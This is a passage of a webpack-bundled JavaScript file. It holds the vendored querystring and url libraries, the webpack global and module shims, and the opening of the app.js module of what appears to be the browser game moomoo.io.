      !*** ./node_modules/querystring-es3/decode.js ***!
      \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                // Copyright Joyent, Inc. and other Node contributors.
                //
                // Permission is hereby granted, free of charge, to any person obtaining a
                // copy of this software and associated documentation files (the
                // "Software"), to deal in the Software without restriction, including
                // without limitation the rights to use, copy, modify, merge, publish,
                // distribute, sublicense, and/or sell copies of the Software, and to permit
                // persons to whom the Software is furnished to do so, subject to the
                // following conditions:
                //
                // The above copyright notice and this permission notice shall be included
                // in all copies or substantial portions of the Software.
                //
                // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
                // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
                // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
                // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
                // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
                // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
                // USE OR OTHER DEALINGS IN THE SOFTWARE.



                // If obj.hasOwnProperty has been overridden, then calling
                // obj.hasOwnProperty(prop) will break.
                // See: https://github.com/joyent/node/issues/1707
                function hasOwnProperty(obj, prop) {
                    return Object.prototype.hasOwnProperty.call(obj, prop);
                }

                module.exports = function(qs, sep, eq, options) {
                    sep = sep || '&';
                    eq = eq || '=';
                    var obj = {};

                    if (typeof qs !== 'string' || qs.length === 0) {
                        return obj;
                    }

                    var regexp = /\+/g;
                    qs = qs.split(sep);

                    var maxKeys = 1000;
                    if (options && typeof options.maxKeys === 'number') {
                        maxKeys = options.maxKeys;
                    }

                    var len = qs.length;
                    // maxKeys <= 0 means that we should not limit keys count
                    if (maxKeys > 0 && len > maxKeys) {
                        len = maxKeys;
                    }

                    for (var i = 0; i < len; ++i) {
                        var x = qs[i].replace(regexp, '%20'),
                            idx = x.indexOf(eq),
                            kstr, vstr, k, v;

                        if (idx >= 0) {
                            kstr = x.substr(0, idx);
                            vstr = x.substr(idx + 1);
                        } else {
                            kstr = x;
                            vstr = '';
                        }

                        k = decodeURIComponent(kstr);
                        v = decodeURIComponent(vstr);

                        if (!hasOwnProperty(obj, k)) {
                            obj[k] = v;
                        } else if (isArray(obj[k])) {
                            obj[k].push(v);
                        } else {
                            obj[k] = [obj[k], v];
                        }
                    }

                    return obj;
                };

                var isArray = Array.isArray || function (xs) {
                    return Object.prototype.toString.call(xs) === '[object Array]';
                };


                /***/ }),

            /***/ "./node_modules/querystring-es3/encode.js":
            /*!************************************************!*\
      !*** ./node_modules/querystring-es3/encode.js ***!
      \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                // Copyright Joyent, Inc. and other Node contributors.
                //
                // Permission is hereby granted, free of charge, to any person obtaining a
                // copy of this software and associated documentation files (the
                // "Software"), to deal in the Software without restriction, including
                // without limitation the rights to use, copy, modify, merge, publish,
                // distribute, sublicense, and/or sell copies of the Software, and to permit
                // persons to whom the Software is furnished to do so, subject to the
                // following conditions:
                //
                // The above copyright notice and this permission notice shall be included
                // in all copies or substantial portions of the Software.
                //
                // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
                // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
                // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
                // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
                // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
                // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
                // USE OR OTHER DEALINGS IN THE SOFTWARE.



                var stringifyPrimitive = function(v) {
                    switch (typeof v) {
                        case 'string':
                            return v;

                        case 'boolean':
                            return v ? 'true' : 'false';

                        case 'number':
                            return isFinite(v) ? v : '';

                        default:
                            return '';
                    }
                };

                module.exports = function(obj, sep, eq, name) {
                    sep = sep || '&';
                    eq = eq || '=';
                    if (obj === null) {
                        obj = undefined;
                    }

                    if (typeof obj === 'object') {
                        return map(objectKeys(obj), function(k) {
                            var ks = encodeURIComponent(stringifyPrimitive(k)) + eq;
                            if (isArray(obj[k])) {
                                return map(obj[k], function(v) {
                                    return ks + encodeURIComponent(stringifyPrimitive(v));
                                }).join(sep);
                            } else {
                                return ks + encodeURIComponent(stringifyPrimitive(obj[k]));
                            }
                        }).join(sep);

                    }

                    if (!name) return '';
                    return encodeURIComponent(stringifyPrimitive(name)) + eq +
                        encodeURIComponent(stringifyPrimitive(obj));
                };

                var isArray = Array.isArray || function (xs) {
                    return Object.prototype.toString.call(xs) === '[object Array]';
                };

                function map (xs, f) {
                    if (xs.map) return xs.map(f);
                    var res = [];
                    for (var i = 0; i < xs.length; i++) {
                        res.push(f(xs[i], i));
                    }
                    return res;
                }

                var objectKeys = Object.keys || function (obj) {
                    var res = [];
                    for (var key in obj) {
                        if (Object.prototype.hasOwnProperty.call(obj, key)) res.push(key);
                    }
                    return res;
                };


                /***/ }),

            /***/ "./node_modules/querystring-es3/index.js":
            /*!***********************************************!*\
      !*** ./node_modules/querystring-es3/index.js ***!
      \***********************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                exports.decode = exports.parse = __webpack_require__(/*! ./decode */ "./node_modules/querystring-es3/decode.js");
                exports.encode = exports.stringify = __webpack_require__(/*! ./encode */ "./node_modules/querystring-es3/encode.js");


                /***/ }),

            /***/ "./node_modules/url/url.js":
            /*!*********************************!*\
      !*** ./node_modules/url/url.js ***!
      \*********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                // Copyright Joyent, Inc. and other Node contributors.
                //
                // Permission is hereby granted, free of charge, to any person obtaining a
                // copy of this software and associated documentation files (the
                // "Software"), to deal in the Software without restriction, including
                // without limitation the rights to use, copy, modify, merge, publish,
                // distribute, sublicense, and/or sell copies of the Software, and to permit
                // persons to whom the Software is furnished to do so, subject to the
                // following conditions:
                //
                // The above copyright notice and this permission notice shall be included
                // in all copies or substantial portions of the Software.
                //
                // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
                // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
                // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
                // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
                // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
                // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
                // USE OR OTHER DEALINGS IN THE SOFTWARE.



                var punycode = __webpack_require__(/*! punycode */ "./node_modules/punycode/punycode.js");
                var util = __webpack_require__(/*! ./util */ "./node_modules/url/util.js");

                exports.parse = urlParse;
                exports.resolve = urlResolve;
                exports.resolveObject = urlResolveObject;
                exports.format = urlFormat;

                exports.Url = Url;

                function Url() {
                    this.protocol = null;
                    this.slashes = null;
                    this.auth = null;
                    this.host = null;
                    this.port = null;
                    this.hostname = null;
                    this.hash = null;
                    this.search = null;
                    this.query = null;
                    this.pathname = null;
                    this.path = null;
                    this.href = null;
                }

                // Reference: RFC 3986, RFC 1808, RFC 2396

                // define these here so at least they only have to be
                // compiled once on the first module load.
                var protocolPattern = /^([a-z0-9.+-]+:)/i,
                    portPattern = /:[0-9]*$/,

                    // Special case for a simple path URL
                    simplePathPattern = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/,

                    // RFC 2396: characters reserved for delimiting URLs.
                    // We actually just auto-escape these.
                    delims = ['<', '>', '"', '`', ' ', '\r', '\n', '\t'],

                    // RFC 2396: characters not allowed for various reasons.
                    unwise = ['{', '}', '|', '\\', '^', '`'].concat(delims),

                    // Allowed by RFCs, but cause of XSS attacks.  Always escape these.
                    autoEscape = ['\''].concat(unwise),
                    // Characters that are never ever allowed in a hostname.
                    // Note that any invalid chars are also handled, but these
                    // are the ones that are *expected* to be seen, so we fast-path
                    // them.
                    nonHostChars = ['%', '/', '?', ';', '#'].concat(autoEscape),
                    hostEndingChars = ['/', '?', '#'],
                    hostnameMaxLen = 255,
                    hostnamePartPattern = /^[+a-z0-9A-Z_-]{0,63}$/,
                    hostnamePartStart = /^([+a-z0-9A-Z_-]{0,63})(.*)$/,
                    // protocols that can allow "unsafe" and "unwise" chars.
                    unsafeProtocol = {
                        'javascript': true,
                        'javascript:': true
                    },
                    // protocols that never have a hostname.
                    hostlessProtocol = {
                        'javascript': true,
                        'javascript:': true
                    },
                    // protocols that always contain a // bit.
                    slashedProtocol = {
                        'http': true,
                        'https': true,
                        'ftp': true,
                        'gopher': true,
                        'file': true,
                        'http:': true,
                        'https:': true,
                        'ftp:': true,
                        'gopher:': true,
                        'file:': true
                    },
                    querystring = __webpack_require__(/*! querystring */ "./node_modules/querystring-es3/index.js");

                function urlParse(url, parseQueryString, slashesDenoteHost) {
                    if (url && util.isObject(url) && url instanceof Url) return url;

                    var u = new Url;
                    u.parse(url, parseQueryString, slashesDenoteHost);
                    return u;
                }

                Url.prototype.parse = function(url, parseQueryString, slashesDenoteHost) {
                    if (!util.isString(url)) {
                        throw new TypeError("Parameter 'url' must be a string, not " + typeof url);
                    }

                    // Copy chrome, IE, opera backslash-handling behavior.
                    // Back slashes before the query string get converted to forward slashes
                    // See: https://code.google.com/p/chromium/issues/detail?id=25916
                    var queryIndex = url.indexOf('?'),
                        splitter =
                        (queryIndex !== -1 && queryIndex < url.indexOf('#')) ? '?' : '#',
                        uSplit = url.split(splitter),
                        slashRegex = /\\/g;
                    uSplit[0] = uSplit[0].replace(slashRegex, '/');
                    url = uSplit.join(splitter);

                    var rest = url;

                    // trim before proceeding.
                    // This is to support parse stuff like "  http://foo.com  \n"
                    rest = rest.trim();

                    if (!slashesDenoteHost && url.split('#').length === 1) {
                        // Try fast path regexp
                        var simplePath = simplePathPattern.exec(rest);
                        if (simplePath) {
                            this.path = rest;
                            this.href = rest;
                            this.pathname = simplePath[1];
                            if (simplePath[2]) {
                                this.search = simplePath[2];
                                if (parseQueryString) {
                                    this.query = querystring.parse(this.search.substr(1));
                                } else {
                                    this.query = this.search.substr(1);
                                }
                            } else if (parseQueryString) {
                                this.search = '';
                                this.query = {};
                            }
                            return this;
                        }
                    }

                    var proto = protocolPattern.exec(rest);
                    if (proto) {
                        proto = proto[0];
                        var lowerProto = proto.toLowerCase();
                        this.protocol = lowerProto;
                        rest = rest.substr(proto.length);
                    }

                    // figure out if it's got a host
                    // user@server is *always* interpreted as a hostname, and url
                    // resolution will treat //foo/bar as host=foo,path=bar because that's
                    // how the browser resolves relative URLs.
                    if (slashesDenoteHost || proto || rest.match(/^\/\/[^@\/]+@[^@\/]+/)) {
                        var slashes = rest.substr(0, 2) === '//';
                        if (slashes && !(proto && hostlessProtocol[proto])) {
                            rest = rest.substr(2);
                            this.slashes = true;
                        }
                    }

                    if (!hostlessProtocol[proto] &&
                        (slashes || (proto && !slashedProtocol[proto]))) {

                        // there's a hostname.
                        // the first instance of /, ?, ;, or # ends the host.
                        //
                        // If there is an @ in the hostname, then non-host chars *are* allowed
                        // to the left of the last @ sign, unless some host-ending character
                        // comes *before* the @-sign.
                        // URLs are obnoxious.
                        //
                        // ex:
                        // http://a@b@c/ => user:a@b host:c
                        // http://a@b?@c => user:a host:c path:/?@c

                        // v0.12 TODO(isaacs): This is not quite how Chrome does things.
                        // Review our test case against browsers more comprehensively.

                        // find the first instance of any hostEndingChars
                        var hostEnd = -1;
                        for (var i = 0; i < hostEndingChars.length; i++) {
                            var hec = rest.indexOf(hostEndingChars[i]);
                            if (hec !== -1 && (hostEnd === -1 || hec < hostEnd))
                                hostEnd = hec;
                        }

                        // at this point, either we have an explicit point where the
                        // auth portion cannot go past, or the last @ char is the decider.
                        var auth, atSign;
                        if (hostEnd === -1) {
                            // atSign can be anywhere.
                            atSign = rest.lastIndexOf('@');
                        } else {
                            // atSign must be in auth portion.
                            // http://a@b/c@d => host:b auth:a path:/c@d
                            atSign = rest.lastIndexOf('@', hostEnd);
                        }

                        // Now we have a portion which is definitely the auth.
                        // Pull that off.
                        if (atSign !== -1) {
                            auth = rest.slice(0, atSign);
                            rest = rest.slice(atSign + 1);
                            this.auth = decodeURIComponent(auth);
                        }

                        // the host is the remaining to the left of the first non-host char
                        hostEnd = -1;
                        for (var i = 0; i < nonHostChars.length; i++) {
                            var hec = rest.indexOf(nonHostChars[i]);
                            if (hec !== -1 && (hostEnd === -1 || hec < hostEnd))
                                hostEnd = hec;
                        }
                        // if we still have not hit it, then the entire thing is a host.
                        if (hostEnd === -1)
                            hostEnd = rest.length;

                        this.host = rest.slice(0, hostEnd);
                        rest = rest.slice(hostEnd);

                        // pull out port.
                        this.parseHost();

                        // we've indicated that there is a hostname,
                        // so even if it's empty, it has to be present.
                        this.hostname = this.hostname || '';

                        // if hostname begins with [ and ends with ]
                        // assume that it's an IPv6 address.
                        var ipv6Hostname = this.hostname[0] === '[' &&
                            this.hostname[this.hostname.length - 1] === ']';

                        // validate a little.
                        if (!ipv6Hostname) {
                            var hostparts = this.hostname.split(/\./);
                            for (var i = 0, l = hostparts.length; i < l; i++) {
                                var part = hostparts[i];
                                if (!part) continue;
                                if (!part.match(hostnamePartPattern)) {
                                    var newpart = '';
                                    for (var j = 0, k = part.length; j < k; j++) {
                                        if (part.charCodeAt(j) > 127) {
                                            // we replace non-ASCII char with a temporary placeholder
                                            // we need this to make sure size of hostname is not
                                            // broken by replacing non-ASCII by nothing
                                            newpart += 'x';
                                        } else {
                                            newpart += part[j];
                                        }
                                    }
                                    // we test again with ASCII char only
                                    if (!newpart.match(hostnamePartPattern)) {
                                        var validParts = hostparts.slice(0, i);
                                        var notHost = hostparts.slice(i + 1);
                                        var bit = part.match(hostnamePartStart);
                                        if (bit) {
                                            validParts.push(bit[1]);
                                            notHost.unshift(bit[2]);
                                        }
                                        if (notHost.length) {
                                            rest = '/' + notHost.join('.') + rest;
                                        }
                                        this.hostname = validParts.join('.');
                                        break;
                                    }
                                }
                            }
                        }

                        if (this.hostname.length > hostnameMaxLen) {
                            this.hostname = '';
                        } else {
                            // hostnames are always lower case.
                            this.hostname = this.hostname.toLowerCase();
                        }

                        if (!ipv6Hostname) {
                            // IDNA Support: Returns a punycoded representation of "domain".
                            // It only converts parts of the domain name that
                            // have non-ASCII characters, i.e. it doesn't matter if
                            // you call it with a domain that already is ASCII-only.
                            this.hostname = punycode.toASCII(this.hostname);
                        }

                        var p = this.port ? ':' + this.port : '';
                        var h = this.hostname || '';
                        this.host = h + p;
                        this.href += this.host;

                        // strip [ and ] from the hostname
                        // the host field still retains them, though
                        if (ipv6Hostname) {
                            this.hostname = this.hostname.substr(1, this.hostname.length - 2);
                            if (rest[0] !== '/') {
                                rest = '/' + rest;
                            }
                        }
                    }

                    // now rest is set to the post-host stuff.
                    // chop off any delim chars.
                    if (!unsafeProtocol[lowerProto]) {

                        // First, make 100% sure that any "autoEscape" chars get
                        // escaped, even if encodeURIComponent doesn't think they
                        // need to be.
                        for (var i = 0, l = autoEscape.length; i < l; i++) {
                            var ae = autoEscape[i];
                            if (rest.indexOf(ae) === -1)
                                continue;
                            var esc = encodeURIComponent(ae);
                            if (esc === ae) {
                                esc = escape(ae);
                            }
                            rest = rest.split(ae).join(esc);
                        }
                    }


                    // chop off from the tail first.
                    var hash = rest.indexOf('#');
                    if (hash !== -1) {
                        // got a fragment string.
                        this.hash = rest.substr(hash);
                        rest = rest.slice(0, hash);
                    }
                    var qm = rest.indexOf('?');
                    if (qm !== -1) {
                        this.search = rest.substr(qm);
                        this.query = rest.substr(qm + 1);
                        if (parseQueryString) {
                            this.query = querystring.parse(this.query);
                        }
                        rest = rest.slice(0, qm);
                    } else if (parseQueryString) {
                        // no query string, but parseQueryString still requested
                        this.search = '';
                        this.query = {};
                    }
                    if (rest) this.pathname = rest;
                    if (slashedProtocol[lowerProto] &&
                        this.hostname && !this.pathname) {
                        this.pathname = '/';
                    }

                    //to support http.request
                    if (this.pathname || this.search) {
                        var p = this.pathname || '';
                        var s = this.search || '';
                        this.path = p + s;
                    }

                    // finally, reconstruct the href based on what has been validated.
                    this.href = this.format();
                    return this;
                };

                // format a parsed object into a url string
                function urlFormat(obj) {
                    // ensure it's an object, and not a string url.
                    // If it's an obj, this is a no-op.
                    // this way, you can call url_format() on strings
                    // to clean up potentially wonky urls.
                    if (util.isString(obj)) obj = urlParse(obj);
                    if (!(obj instanceof Url)) return Url.prototype.format.call(obj);
                    return obj.format();
                }

                Url.prototype.format = function() {
                    var auth = this.auth || '';
                    if (auth) {
                        auth = encodeURIComponent(auth);
                        auth = auth.replace(/%3A/i, ':');
                        auth += '@';
                    }

                    var protocol = this.protocol || '',
                        pathname = this.pathname || '',
                        hash = this.hash || '',
                        host = false,
                        query = '';

                    if (this.host) {
                        host = auth + this.host;
                    } else if (this.hostname) {
                        host = auth + (this.hostname.indexOf(':') === -1 ?
                                       this.hostname :
                                       '[' + this.hostname + ']');
                        if (this.port) {
                            host += ':' + this.port;
                        }
                    }

                    if (this.query &&
                        util.isObject(this.query) &&
                        Object.keys(this.query).length) {
                        query = querystring.stringify(this.query);
                    }

                    var search = this.search || (query && ('?' + query)) || '';

                    if (protocol && protocol.substr(-1) !== ':') protocol += ':';

                    // only the slashedProtocols get the //.  Not mailto:, xmpp:, etc.
                    // unless they had them to begin with.
                    if (this.slashes ||
                        (!protocol || slashedProtocol[protocol]) && host !== false) {
                        host = '//' + (host || '');
                        if (pathname && pathname.charAt(0) !== '/') pathname = '/' + pathname;
                    } else if (!host) {
                        host = '';
                    }

                    if (hash && hash.charAt(0) !== '#') hash = '#' + hash;
                    if (search && search.charAt(0) !== '?') search = '?' + search;

                    pathname = pathname.replace(/[?#]/g, function(match) {
                        return encodeURIComponent(match);
                    });
                    search = search.replace('#', '%23');

                    return protocol + host + pathname + search + hash;
                };

                function urlResolve(source, relative) {
                    return urlParse(source, false, true).resolve(relative);
                }

                Url.prototype.resolve = function(relative) {
                    return this.resolveObject(urlParse(relative, false, true)).format();
                };

                function urlResolveObject(source, relative) {
                    if (!source) return relative;
                    return urlParse(source, false, true).resolveObject(relative);
                }

                Url.prototype.resolveObject = function(relative) {
                    if (util.isString(relative)) {
                        var rel = new Url();
                        rel.parse(relative, false, true);
                        relative = rel;
                    }

                    var result = new Url();
                    var tkeys = Object.keys(this);
                    for (var tk = 0; tk < tkeys.length; tk++) {
                        var tkey = tkeys[tk];
                        result[tkey] = this[tkey];
                    }

                    // hash is always overridden, no matter what.
                    // even href="" will remove it.
                    result.hash = relative.hash;

                    // if the relative url is empty, then there's nothing left to do here.
                    if (relative.href === '') {
                        result.href = result.format();
                        return result;
                    }

                    // hrefs like //foo/bar always cut to the protocol.
                    if (relative.slashes && !relative.protocol) {
                        // take everything except the protocol from relative
                        var rkeys = Object.keys(relative);
                        for (var rk = 0; rk < rkeys.length; rk++) {
                            var rkey = rkeys[rk];
                            if (rkey !== 'protocol')
                                result[rkey] = relative[rkey];
                        }

                        //urlParse appends trailing / to urls like http://www.example.com
                        if (slashedProtocol[result.protocol] &&
                            result.hostname && !result.pathname) {
                            result.path = result.pathname = '/';
                        }

                        result.href = result.format();
                        return result;
                    }

                    if (relative.protocol && relative.protocol !== result.protocol) {
                        // if it's a known url protocol, then changing
                        // the protocol does weird things
                        // first, if it's not file:, then we MUST have a host,
                        // and if there was a path
                        // to begin with, then we MUST have a path.
                        // if it is file:, then the host is dropped,
                        // because that's known to be hostless.
                        // anything else is assumed to be absolute.
                        if (!slashedProtocol[relative.protocol]) {
                            var keys = Object.keys(relative);
                            for (var v = 0; v < keys.length; v++) {
                                var k = keys[v];
                                result[k] = relative[k];
                            }
                            result.href = result.format();
                            return result;
                        }

                        result.protocol = relative.protocol;
                        if (!relative.host && !hostlessProtocol[relative.protocol]) {
                            var relPath = (relative.pathname || '').split('/');
                            while (relPath.length && !(relative.host = relPath.shift()));
                            if (!relative.host) relative.host = '';
                            if (!relative.hostname) relative.hostname = '';
                            if (relPath[0] !== '') relPath.unshift('');
                            if (relPath.length < 2) relPath.unshift('');
                            result.pathname = relPath.join('/');
                        } else {
                            result.pathname = relative.pathname;
                        }
                        result.search = relative.search;
                        result.query = relative.query;
                        result.host = relative.host || '';
                        result.auth = relative.auth;
                        result.hostname = relative.hostname || relative.host;
                        result.port = relative.port;
                        // to support http.request
                        if (result.pathname || result.search) {
                            var p = result.pathname || '';
                            var s = result.search || '';
                            result.path = p + s;
                        }
                        result.slashes = result.slashes || relative.slashes;
                        result.href = result.format();
                        return result;
                    }

                    var isSourceAbs = (result.pathname && result.pathname.charAt(0) === '/'),
                        isRelAbs = (
                            relative.host ||
                            relative.pathname && relative.pathname.charAt(0) === '/'
                        ),
                        mustEndAbs = (isRelAbs || isSourceAbs ||
                                      (result.host && relative.pathname)),
                        removeAllDots = mustEndAbs,
                        srcPath = result.pathname && result.pathname.split('/') || [],
                        relPath = relative.pathname && relative.pathname.split('/') || [],
                        psychotic = result.protocol && !slashedProtocol[result.protocol];

                    // if the url is a non-slashed url, then relative
                    // links like ../.. should be able
                    // to crawl up to the hostname, as well.  This is strange.
                    // result.protocol has already been set by now.
                    // Later on, put the first path part into the host field.
                    if (psychotic) {
                        result.hostname = '';
                        result.port = null;
                        if (result.host) {
                            if (srcPath[0] === '') srcPath[0] = result.host;
                            else srcPath.unshift(result.host);
                        }
                        result.host = '';
                        if (relative.protocol) {
                            relative.hostname = null;
                            relative.port = null;
                            if (relative.host) {
                                if (relPath[0] === '') relPath[0] = relative.host;
                                else relPath.unshift(relative.host);
                            }
                            relative.host = null;
                        }
                        mustEndAbs = mustEndAbs && (relPath[0] === '' || srcPath[0] === '');
                    }

                    if (isRelAbs) {
                        // it's absolute.
                        result.host = (relative.host || relative.host === '') ?
                            relative.host : result.host;
                        result.hostname = (relative.hostname || relative.hostname === '') ?
                            relative.hostname : result.hostname;
                        result.search = relative.search;
                        result.query = relative.query;
                        srcPath = relPath;
                        // fall through to the dot-handling below.
                    } else if (relPath.length) {
                        // it's relative
                        // throw away the existing file, and take the new path instead.
                        if (!srcPath) srcPath = [];
                        srcPath.pop();
                        srcPath = srcPath.concat(relPath);
                        result.search = relative.search;
                        result.query = relative.query;
                    } else if (!util.isNullOrUndefined(relative.search)) {
                        // just pull out the search.
                        // like href='?foo'.
                        // Put this after the other two cases because it simplifies the booleans
                        if (psychotic) {
                            result.hostname = result.host = srcPath.shift();
                            //occationaly the auth can get stuck only in host
                            //this especially happens in cases like
                            //url.resolveObject('mailto:local1@domain1', 'local2@domain2')
                            var authInHost = result.host && result.host.indexOf('@') > 0 ?
                                result.host.split('@') : false;
                            if (authInHost) {
                                result.auth = authInHost.shift();
                                result.host = result.hostname = authInHost.shift();
                            }
                        }
                        result.search = relative.search;
                        result.query = relative.query;
                        //to support http.request
                        if (!util.isNull(result.pathname) || !util.isNull(result.search)) {
                            result.path = (result.pathname ? result.pathname : '') +
                                (result.search ? result.search : '');
                        }
                        result.href = result.format();
                        return result;
                    }

                    if (!srcPath.length) {
                        // no path at all.  easy.
                        // we've already handled the other stuff above.
                        result.pathname = null;
                        //to support http.request
                        if (result.search) {
                            result.path = '/' + result.search;
                        } else {
                            result.path = null;
                        }
                        result.href = result.format();
                        return result;
                    }

                    // if a url ENDs in . or .., then it must get a trailing slash.
                    // however, if it ends in anything else non-slashy,
                    // then it must NOT get a trailing slash.
                    var last = srcPath.slice(-1)[0];
                    var hasTrailingSlash = (
                        (result.host || relative.host || srcPath.length > 1) &&
                        (last === '.' || last === '..') || last === '');

                    // strip single dots, resolve double dots to parent dir
                    // if the path tries to go above the root, `up` ends up > 0
                    var up = 0;
                    for (var i = srcPath.length; i >= 0; i--) {
                        last = srcPath[i];
                        if (last === '.') {
                            srcPath.splice(i, 1);
                        } else if (last === '..') {
                            srcPath.splice(i, 1);
                            up++;
                        } else if (up) {
                            srcPath.splice(i, 1);
                            up--;
                        }
                    }

                    // if the path is allowed to go above the root, restore leading ..s
                    if (!mustEndAbs && !removeAllDots) {
                        for (; up--; up) {
                            srcPath.unshift('..');
                        }
                    }

                    if (mustEndAbs && srcPath[0] !== '' &&
                        (!srcPath[0] || srcPath[0].charAt(0) !== '/')) {
                        srcPath.unshift('');
                    }

                    if (hasTrailingSlash && (srcPath.join('/').substr(-1) !== '/')) {
                        srcPath.push('');
                    }

                    var isAbsolute = srcPath[0] === '' ||
                        (srcPath[0] && srcPath[0].charAt(0) === '/');

                    // put the host back
                    if (psychotic) {
                        result.hostname = result.host = isAbsolute ? '' :
                        srcPath.length ? srcPath.shift() : '';
                        //occationaly the auth can get stuck only in host
                        //this especially happens in cases like
                        //url.resolveObject('mailto:local1@domain1', 'local2@domain2')
                        var authInHost = result.host && result.host.indexOf('@') > 0 ?
                            result.host.split('@') : false;
                        if (authInHost) {
                            result.auth = authInHost.shift();
                            result.host = result.hostname = authInHost.shift();
                        }
                    }

                    mustEndAbs = mustEndAbs || (result.host && srcPath.length);

                    if (mustEndAbs && !isAbsolute) {
                        srcPath.unshift('');
                    }

                    if (!srcPath.length) {
                        result.pathname = null;
                        result.path = null;
                    } else {
                        result.pathname = srcPath.join('/');
                    }

                    //to support request.http
                    if (!util.isNull(result.pathname) || !util.isNull(result.search)) {
                        result.path = (result.pathname ? result.pathname : '') +
                            (result.search ? result.search : '');
                    }
                    result.auth = relative.auth || result.auth;
                    result.slashes = result.slashes || relative.slashes;
                    result.href = result.format();
                    return result;
                };

                Url.prototype.parseHost = function() {
                    var host = this.host;
                    var port = portPattern.exec(host);
                    if (port) {
                        port = port[0];
                        if (port !== ':') {
                            this.port = port.substr(1);
                        }
                        host = host.substr(0, host.length - port.length);
                    }
                    if (host) this.hostname = host;
                };


                /***/ }),

            /***/ "./node_modules/url/util.js":
            /*!**********************************!*\
      !*** ./node_modules/url/util.js ***!
      \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                module.exports = {
                    isString: function(arg) {
                        return typeof(arg) === 'string';
                    },
                    isObject: function(arg) {
                        return typeof(arg) === 'object' && arg !== null;
                    },
                    isNull: function(arg) {
                        return arg === null;
                    },
                    isNullOrUndefined: function(arg) {
                        return arg == null;
                    }
                };


                /***/ }),

            /***/ "./node_modules/webpack/buildin/global.js":
            /*!***********************************!*\
      !*** (webpack)/buildin/global.js ***!
      \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var g;

                // This works in non-strict mode
                g = (function() {
                    return this;
                })();

                try {
                    // This works if eval is allowed (see CSP)
                    g = g || new Function("return this")();
                } catch (e) {
                    // This works if the window reference is available
                    if (typeof window === "object") g = window;
                }

                // g can still be undefined, but nothing to do about it...
                // We return undefined, instead of nothing here, so it's
                // easier to handle this case. if(!global) { ...}

                module.exports = g;


                /***/ }),

            /***/ "./node_modules/webpack/buildin/module.js":
            /*!***********************************!*\
      !*** (webpack)/buildin/module.js ***!
      \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function(module) {
                    if (!module.webpackPolyfill) {
                        module.deprecate = function() {};
                        module.paths = [];
                        // module.parent = undefined by default
                        if (!module.children) module.children = [];
                        Object.defineProperty(module, "loaded", {
                            enumerable: true,
                            get: function() {
                                return module.l;
                            }
                        });
                        Object.defineProperty(module, "id", {
                            enumerable: true,
                            get: function() {
                                return module.i;
                            }
                        });
                        module.webpackPolyfill = 1;
                    }
                    return module;
                };


                /***/ }),

            /***/ "./src/js/app.js":
            /*!***********************!*\
      !*** ./src/js/app.js ***!
      \***********************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                window.loadedScript = true;

                // ENV:
                var isProd = location.hostname !== "127.0.0.1" && !location.hostname.startsWith("192.168.");

                // IMPORTS:
                __webpack_require__(/*! ./libs/modernizr.js */ "./src/js/libs/modernizr.js");
                var io = __webpack_require__(/*! ./libs/io-client.js */ "./src/js/libs/io-client.js");
                var UTILS = __webpack_require__(/*! ./libs/utils.js */ "./src/js/libs/utils.js");
                var animText = __webpack_require__(/*! ./libs/animText.js */ "./src/js/libs/animText.js");
                var config = __webpack_require__(/*! ./config.js */ "./src/js/config.js");
                var GameObject = __webpack_require__(/*! ./data/gameObject.js */ "./src/js/data/gameObject.js");
                var items = __webpack_require__(/*! ./data/items.js */ "./src/js/data/items.js");
                var MapManager = __webpack_require__(/*! ./data/mapManager.js */ "./src/js/data/mapManager.js");
                var ObjectManager = __webpack_require__(/*! ./data/objectManager.js */ "./src/js/data/objectManager.js");
                var Player = __webpack_require__(/*! ./data/player.js */ "./src/js/data/player.js");
                var store = __webpack_require__(/*! ./data/store.js */ "./src/js/data/store.js");
                var Projectile = __webpack_require__(/*! ./data/projectile.js */ "./src/js/data/projectile.js");
                var ProjectileManager = __webpack_require__(/*! ./data/projectileManager.js */ "./src/js/data/projectileManager.js");
                var SoundManager = __webpack_require__(/*! ./libs/soundManager.js */ "./src/js/libs/soundManager.js").obj;
                var textManager = new animText.TextManager();

                // VULTR:
                var VultrClient = __webpack_require__(/*! ../../vultr/VultrClient.js */ "./vultr/VultrClient.js");
                var vultrClient = new VultrClient("moomoo.io", 3000, config.maxPlayers, 5, false);
                vultrClient.debugLog = false;

                // URL PARAMS:
                function getParameterByName(name, url) {
